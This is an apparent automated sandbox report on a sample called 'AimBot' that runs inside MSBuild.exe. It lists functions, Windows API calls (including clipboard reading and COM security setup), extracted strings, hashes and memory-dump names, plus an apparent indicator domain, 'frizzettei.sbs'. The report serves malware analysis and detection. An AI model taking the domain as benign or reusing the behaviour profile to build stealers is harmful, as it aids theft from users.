Opcode Fuzzy Hash: e6ba6c0e7fe0067f613c5d4f3cc71fdd5ef9f006f01ea095652ff0c10fa39725
Instruction Fuzzy Hash: A651F1F2601206AFEB699F98D841BFAB3A6EF44300F14452EE80147291E732EDC1C796

Function 006D043F Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,006CF465,00000000,00000001,00000000,00000000,?,006C7892,00000000,00000000,00000000), ref: 006D0456
GetLastError.KERNEL32(?,006CF465,00000000,00000001,00000000,00000000,?,006C7892,00000000,00000000,00000000,00000000,00000000,?,006C7E19,00000000), ref: 006D0462

Part of subcall function 006D0428: CloseHandle.KERNEL32(FFFFFFFE,006D0472,?,006CF465,00000000,00000001,00000000,00000000,?,006C7892,00000000,00000000,00000000,00000000,00000000), ref: 006D0438

___initconout.LIBCMT ref: 006D0472

Part of subcall function 006D03EA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006D0419,006CF452,00000000,?,006C7892,00000000,00000000,00000000,00000000), ref: 006D03FD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,006CF465,00000000,00000001,00000000,00000000,?,006C7892,00000000,00000000,00000000,00000000), ref: 006D0487

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c4fbcc3e7f9d4685db8dd7411fdf37d8f8e287caf5b4dc13c9991957138dd6db
Instruction ID: 09ffbe474f1938abaea9964a45649b1626dca1d562d887bf7a76e9d6d82357e0
Opcode Fuzzy Hash: c4fbcc3e7f9d4685db8dd7411fdf37d8f8e287caf5b4dc13c9991957138dd6db
Instruction Fuzzy Hash: 79F0F83690116EBBCF622F959C09E993F67FF593A1F044116FB1985220C6328820DBA0

Function 006B387F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006B3886
_strlen.LIBCMT ref: 006B38A0

Strings

|#m, xrefs: 006B388E, 006B38B0, 006B390D, 006B393B, 006B395D, 006B39D3, 006B3A2E, 006B3A5B, 006B3AC3

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: H_prolog3_catch_strlen
String ID: |#m
API String ID: 3133806014-788538018
Opcode ID: 82f46bac6fc6a42684e41d873b5cab8550d1578ad6f9486d47a450016cbd93a3
Instruction ID: 37cc033f04240c96266ecad68464e97494b280f68cc6584383009d9b3afc8e9d
Opcode Fuzzy Hash: 82f46bac6fc6a42684e41d873b5cab8550d1578ad6f9486d47a450016cbd93a3
Instruction Fuzzy Hash: 8A718CB0F106158FDB14DF99D8849EDBBF2FF88310B68825AE415AB3A1D7349E81CB54

Function 006B9DB0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 006B9DEF
__IsNonwritableInCurrentImage.LIBCMT ref: 006B9EA3

Strings

csm, xrefs: 006B9E8D

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: b1d7cf0cb0ac92577a57949d8b066fbdf003598549030641b2c3dfd865c54af1
Instruction ID: 8c4c6d7ef1611bf8a79ef820066369e7e20f522461e4de0480f974743da33aef
Opcode Fuzzy Hash: b1d7cf0cb0ac92577a57949d8b066fbdf003598549030641b2c3dfd865c54af1
Instruction Fuzzy Hash: 7C41FBB0E00219EBCF10DF68C881ADEBBB7AF45324F148159EA155B352D731DE86CBA1

Function 006BA6BD Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 006BA6E2

Strings

RCC, xrefs: 006BA6FC
MOC, xrefs: 006BA6F4

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ed53c33c0504274c7495b0b76127875d26fb58d8fe2ddfa2925f6063b6d4e0ce
Instruction ID: 0f9a34ecbcd889cde8d7f271ef8a40abc451f29103460406c92ecc63088a9fb9
Opcode Fuzzy Hash: ed53c33c0504274c7495b0b76127875d26fb58d8fe2ddfa2925f6063b6d4e0ce
Instruction Fuzzy Hash: 3F415BB5900209EFCF15DF98CD81AEEBBB6FF48304F1840A9F904A7251D7359991DB52

Function 006B15DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 006B15E6
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 006B161E

Part of subcall function 006B4EBF: _Yarn.LIBCPMT ref: 006B4EDE
Part of subcall function 006B4EBF: _Yarn.LIBCPMT ref: 006B4F02

Strings

bad locale name, xrefs: 006B162C

Memory Dump Source

Source File: 00000001.00000002.1446536420.00000000006B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006B0000, based on PE: true

Associated: 00000001.00000002.1446521605.00000000006B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446560198.00000000006D2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446577532.00000000006DC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446612329.0000000000735000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446641184.0000000000736000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1446701995.0000000000737000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6b0000_AimBot.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: e7ec4f0fb5598f2a724bd96323cf42a207bdf13d508e215af2e31ac8166e1829
Instruction ID: d5958808ce670ca69859c6c2a4d0ca824c28dcae593a8b336e48f0fada5838bf
Opcode Fuzzy Hash: e7ec4f0fb5598f2a724bd96323cf42a207bdf13d508e215af2e31ac8166e1829
Instruction Fuzzy Hash: A5F01DB1505B409E83309F7A8491487FBE5BE297107948E2FE0DEC3A12D730E544CB6D

Analysis Process: MSBuild.exePID: 1548, Parent PID: 2344COMMON

Execution Graph

Execution Coverage:	1.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.7%
Total number of Nodes:	69
Total number of Limit Nodes:	11

Executed Functions

Function 0040D410 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 153
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 0040D421
GetCurrentThreadId.KERNEL32 ref: 0040D436
GetCurrentProcessId.KERNEL32 ref: 0040D43C
ExitProcess.KERNEL32 ref: 0040D5F0

Strings

/()*, xrefs: 0040D57E
#,-., xrefs: 0040D5B3, 0040D5BB

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CurrentProcess$ExitInputStateThread
String ID: #,-.$/()*
API String ID: 1029096631-97752578
Opcode ID: c0796fe0d0aa5f1167b29f7a17831a74aaa3151a1f2cf4b77cf65dfa5ad0e40b
Instruction ID: 6470a218c35d8bc2a612b4fb9842623da672430fbf1077ed0e78d0172c2d1065
Opcode Fuzzy Hash: c0796fe0d0aa5f1167b29f7a17831a74aaa3151a1f2cf4b77cf65dfa5ad0e40b
Instruction Fuzzy Hash: 0941397480D240ABD301BF99D944A1EFBF1AF52709F148D2DE5C4A7292C23AD818CB6B

Function 004472B0 Relevance: 1.5, APIs: 1, Instructions: 14
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL(0044A91D,005C003F,00000006,?,?,00000018,D8DBDAC5,?,?), ref: 004472DE

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction ID: fb6f357373f259be8b0e83fffc5d2a3912a28e0da7d2036ce94b71e982b3a7e9
Opcode Fuzzy Hash: b66ff63dfd389af1bc8afcc0025f999e8b2b47508af02e865142dda64173a8e3
Instruction Fuzzy Hash: 76E0FE75908316AB9A09CF45C14444EFBE5BFC4714F11CC8DA4D867210D3B0AD46DF82

Function 00440750 Relevance: 10.7, APIs: 7, Instructions: 184
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0b564ce967cee15eb367407d3efe9c97ae69f5de681fd96719c3a6f0e5b5c5
Instruction ID: a0e528b529bebc7b97890122253f5541f627edb86b1c898f2f5d4c320ae0a61a
Opcode Fuzzy Hash: eb0b564ce967cee15eb367407d3efe9c97ae69f5de681fd96719c3a6f0e5b5c5
Instruction Fuzzy Hash: 6651997A604600DFD714DF24EC81B2A73B2FB8931AF1945B8E5068B7A2D735F851CB04

Function 004127E3 Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 301
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00412C02

Strings

frizzettei.sbs, xrefs: 00412BB5
6}I, xrefs: 00412837, 00412846
D6EDCE4C6152BE22E7FB793D34852F84, xrefs: 004127E3
z{zy, xrefs: 00412ABD

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: DirectorySystem
String ID: 6}I$D6EDCE4C6152BE22E7FB793D34852F84$frizzettei.sbs$z{zy
API String ID: 2188284642-1939966723
Opcode ID: b2579081ac6a131fe4a3faadd489d4478d6241f8b42dc5619743ffd3a82444fa
Instruction ID: 910f05e3288449587c120c12f9a28a614a4751e4b63ab5cdc9b49b4344754d77
Opcode Fuzzy Hash: b2579081ac6a131fe4a3faadd489d4478d6241f8b42dc5619743ffd3a82444fa
Instruction Fuzzy Hash: 62B1A9B400C3C08BD7708F15C590BEFBBE5AB96308F14496EE8C89B252D7798985CB97

Function 0044080A Relevance: 4.7, APIs: 3, Instructions: 240
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 0044084F
SysStringLen.OLEAUT32(47DA41A1), ref: 004408F0
VariantClear.OLEAUT32(?), ref: 00440ABB

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Variant$ClearInitString
String ID:
API String ID: 825681660-0
Opcode ID: 447b69237ce92df7db725fc465166a54441ad2d78365808388ed0b2e51fe0cc2
Instruction ID: e86f97fd0b6237a292649585c539a50288e3afe9c5f3f80e9d8e6a556bd01120
Opcode Fuzzy Hash: 447b69237ce92df7db725fc465166a54441ad2d78365808388ed0b2e51fe0cc2
Instruction Fuzzy Hash: D5918C71604700CFE724CF25C891B16B7F1FB89311F248A6DD5968B792D739E992CB88

Function 00444621 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,00000000), ref: 00444634

Strings

<FD, xrefs: 00444636

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: <FD
API String ID: 1279760036-94546156
Opcode ID: 282b6709f6dd5c136138774c4e9cd98b615a8da2910e317581237d55479a74be
Instruction ID: 39f703c980499afbaa99bfce3713a71efdc038ee4744d9e124c9faa018342fbd
Opcode Fuzzy Hash: 282b6709f6dd5c136138774c4e9cd98b615a8da2910e317581237d55479a74be
Instruction Fuzzy Hash: 5DB01230146210F8D03113110CD5FFF2C3CAF43FA6F201014B204140C007549001D0BD

Function 0040EC90 Relevance: 1.6, APIs: 1, Instructions: 72
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(4FD749C3,00000000,090A130C), ref: 0040ED97

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 269ed98644a752082ae0b13c0c64e66de212b4caa525f6963c54f8561e8de337
Instruction ID: 20ca1da7413a79c5dab791646a9c9f77f779af83bbfa588d890c9ae968f642d0
Opcode Fuzzy Hash: 269ed98644a752082ae0b13c0c64e66de212b4caa525f6963c54f8561e8de337
Instruction Fuzzy Hash: 3D2157B010C3809BE220EF24DA45F9FBBE5EF92345F540C2DE2C887242C6359815CBA7

Function 00444650 Relevance: 1.6, APIs: 1, Instructions: 61
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(?,00000000), ref: 004446D8

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: f64cf93c311a4831843b76e1960aeaf9c35c0195a85416711d5fa167d68d7898
Instruction ID: d0b2adfc572cbec85651e9bd70d6ac7c23f1dc9f5b52f48ad9e58c304a0064dc
Opcode Fuzzy Hash: f64cf93c311a4831843b76e1960aeaf9c35c0195a85416711d5fa167d68d7898
Instruction Fuzzy Hash: 4D011D3450C250DBD301AF18E955A1ABBE5EF96701F058C6CE5C49B362D339DC64CB97

Function 0044764B Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 004476A9

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 3d0ae7ae5436dd3ac394a75882c6f050df5aa7001da7d65c09ad52061f7e5f38
Instruction ID: 8f3f63bf930b52e1efc28ed25e7863d18d764fb6827b427cea56eb427c3648bc
Opcode Fuzzy Hash: 3d0ae7ae5436dd3ac394a75882c6f050df5aa7001da7d65c09ad52061f7e5f38
Instruction Fuzzy Hash: 9A01E5769083019BD700DF18E89555EBBF1AB96395F14082DF18182262E335D9898B9A

Function 0044737F Relevance: 1.5, APIs: 1, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetForegroundWindow.USER32 ref: 004476A9

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: f8d0597c47d8d894c34a62c5e15c441f11d70ed252bc16da31212ea17e305ade
Instruction ID: 0ee697ecc9d8537fe87b2e81315e2063c91f3b765bfa43a4c12c6473028e0dc6
Opcode Fuzzy Hash: f8d0597c47d8d894c34a62c5e15c441f11d70ed252bc16da31212ea17e305ade
Instruction Fuzzy Hash: 39E04F76609301EBDB00DB24FC954767BB1FB4531A704443AE546C72A2E734EA5ACF0A

Function 004127C1 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004127D3

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: f6889f87825ec03a570c98088a066563cb83a8421e42e920ec391d2d5ffd471a
Instruction ID: 64ca8e5cd47d9e907f5cac8f55e27350cef53caec61c2105d8030ddabc967685
Opcode Fuzzy Hash: f6889f87825ec03a570c98088a066563cb83a8421e42e920ec391d2d5ffd471a
Instruction Fuzzy Hash: 38D092743C8304B6F5300B98AC17F043610A302F32F300321F364BC1E18AE07104861D

Function 004127A0 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 004127B1

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: d3dd7c24ef00608befa13db869d2b35416aab389174345b48162da3f8b32dcc7
Instruction ID: 7f3852b27561e573ae209e338358f5b1969d320ef54b1c42421901306ce02b91
Opcode Fuzzy Hash: d3dd7c24ef00608befa13db869d2b35416aab389174345b48162da3f8b32dcc7
Instruction Fuzzy Hash: 67C08C70014208A7E320276DAC0AF033AACD303776F400335B9A0400E2AA556414C1FA

Non-executed Functions

Function 0043A400 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 99clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0043A410
GetWindowLongW.USER32 ref: 0043A435
GetClipboardData.USER32 ref: 0043A447
GlobalLock.KERNEL32 ref: 0043A468
GlobalUnlock.KERNEL32 ref: 0043A54A
CloseClipboard.USER32 ref: 0043A553

Strings

>, xrefs: 0043A4A4
;, xrefs: 0043A49A
?, xrefs: 0043A4AE
4, xrefs: 0043A4B8

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: 4$;$>$?
API String ID: 2832541153-3450318048
Opcode ID: 64a3bb102912c4a59b3eea63d054d17408f48a13c17d9f07203059f544a94d9f
Instruction ID: d4a4512b0e62f31ecbf42c86129be681bb9dba849df2e4594be82fce364b331e
Opcode Fuzzy Hash: 64a3bb102912c4a59b3eea63d054d17408f48a13c17d9f07203059f544a94d9f
Instruction Fuzzy Hash: AF416F7150C3808ED301EF78D08831FBFE09B96318F15496EE4C586282D679C599DBA7

Function 0042A9E0 Relevance: 16.2, APIs: 1, Strings: 8, Instructions: 473COMMON

Download Yara Rule

Strings

MO, xrefs: 0042AB85
', xrefs: 0042AFF3
LM, xrefs: 0042AADA
KI, xrefs: 0042AFBB
A{, xrefs: 0042AF1E
)IoK, xrefs: 0042AAD2
EG, xrefs: 0042AB75
IK, xrefs: 0042AB7D

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: '$)IoK$A{$LM$EG$IK$KI$MO
API String ID: 0-1488695561
Opcode ID: 8555cc24930de6f1d255de4b63add9feed8156da3ef59cccf579099450e690e7
Instruction ID: 28fffbdb300add3fcc368f610c88ce74a3092bd848b249eaf750c317af456cb8
Opcode Fuzzy Hash: 8555cc24930de6f1d255de4b63add9feed8156da3ef59cccf579099450e690e7
Instruction Fuzzy Hash: 9A0264B4608340ABD310DF55EA81A2BBBF5EF86B45F40491EF5C49B211D378D905CBAB

Function 0042E5B0 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 427COMMON

Download Yara Rule

Strings

7Wu, xrefs: 0042F06F
0 %*, xrefs: 0042F1AD
vs, xrefs: 0042EEB6
aZPE, xrefs: 0042F1F4, 0042F1FD
%8 =, xrefs: 0042F1BD
v, xrefs: 0042EDBB
AXH^, xrefs: 0042F195

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID:
String ID: v$%8 =$0 %*$AXH^$aZPE$vs$7Wu
API String ID: 0-2208205019
Opcode ID: 655f082e7a778d9d10f28cb336957cd271f54b0a4141488ad04f184e46114e5d
Instruction ID: 2eb3532e7ba3b8886ba6dc1d1e0906492a5ddf058ec097ac2808021869ceba70
Opcode Fuzzy Hash: 655f082e7a778d9d10f28cb336957cd271f54b0a4141488ad04f184e46114e5d
Instruction Fuzzy Hash: 60F1A7B4508380EFD3209F65E88061BFBF0FB86355F90992EF4958B262D379C945CB5A

Function 0043B7CD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043B7F1
GetSystemMetrics.USER32 ref: 0043B800

Strings

, xrefs: 0043B8D4

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: b0a25f26eef3275a2c64ad5acfc6bb9760fdb183133115ad1993002682e009a4
Instruction ID: 4f3fbcce008543a959e9d102bdad00aac3c38257fa3f6de220b9a618914591e2
Opcode Fuzzy Hash: b0a25f26eef3275a2c64ad5acfc6bb9760fdb183133115ad1993002682e009a4
Instruction Fuzzy Hash: CD417EB49142049FCB40EFACD984A9EBBF0BF89310F11852DE499E7364D734A949CF46

Function 00429220 Relevance: 1.7, APIs: 1, Instructions: 242comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044EB80,00000000,00000001,0044EB70), ref: 00429249

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 50054b05082edb187f9ed309c9adef99ff2052507fb5c2dfac5d7fc9031d1875
Instruction ID: 49910db760b8d033cad2d874a1fe923e51150b59ca3988f077b4ee20118e3ac0
Opcode Fuzzy Hash: 50054b05082edb187f9ed309c9adef99ff2052507fb5c2dfac5d7fc9031d1875
Instruction Fuzzy Hash: 5A51DFB1704320ABDB20DB64DC96BB733A4EF85358F444969F9858B391E379EC01C76A

Function 00439BD4 Relevance: 57.9, APIs: 1, Strings: 32, Instructions: 147memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00439C72

Strings

8, xrefs: 00439DB4
Q, xrefs: 00439D37
9, xrefs: 00439DAF
C, xrefs: 00439CF1
], xrefs: 00439D23
u, xrefs: 00439CAB
E, xrefs: 00439CFB
;, xrefs: 00439DB9
0, xrefs: 00439E5F
w, xrefs: 00439CB5
-, xrefs: 00439D73
#, xrefs: 00439D91
G, xrefs: 00439D05
K, xrefs: 00439CC9
s, xrefs: 00439CA1
U, xrefs: 00439D4B
I, xrefs: 00439CBF
!, xrefs: 00439D87
/, xrefs: 00439D7D
+, xrefs: 00439D69
Y, xrefs: 00439D0F
q, xrefs: 00439C97
M, xrefs: 00439CD3
W, xrefs: 00439D55
', xrefs: 00439DA5
_, xrefs: 00439D2D
S, xrefs: 00439D41
), xrefs: 00439D5F
[, xrefs: 00439D19
%, xrefs: 00439D9B
A, xrefs: 00439CE7
O, xrefs: 00439CDD

Memory Dump Source

Source File: 00000003.00000002.1565893908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocString
String ID: !$#$%$'$)$+$-$/$0$8$9$;$A$C$E$G$I$K$M$O$Q$S$U$W$Y$[$]$_$q$s$u$w
API String ID: 2525500382-3798855555
Opcode ID: 3499cf825a7c897e77eeab9d2eca8d5ba96b8015b9655e872def1c1981d26239
Instruction ID: 17d7119becba6912aa5b2d06f9ffd4fc2d0f6c75cd4476441e486eb4aff78b44
Opcode Fuzzy Hash: 3499cf825a7c897e77eeab9d2eca8d5ba96b8015b9655e872def1c1981d26239
Instruction Fuzzy Hash: E281976000C7C18ED362DB38944875FBFD06BA7224F485E9DF1E98A3D2C7A98549CB67

Function 004395A3 Relevance: 57.9, APIs: 1, Strings: 32, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00439648

Strings

], xrefs: 004396F9
W, xrefs: 0043972B
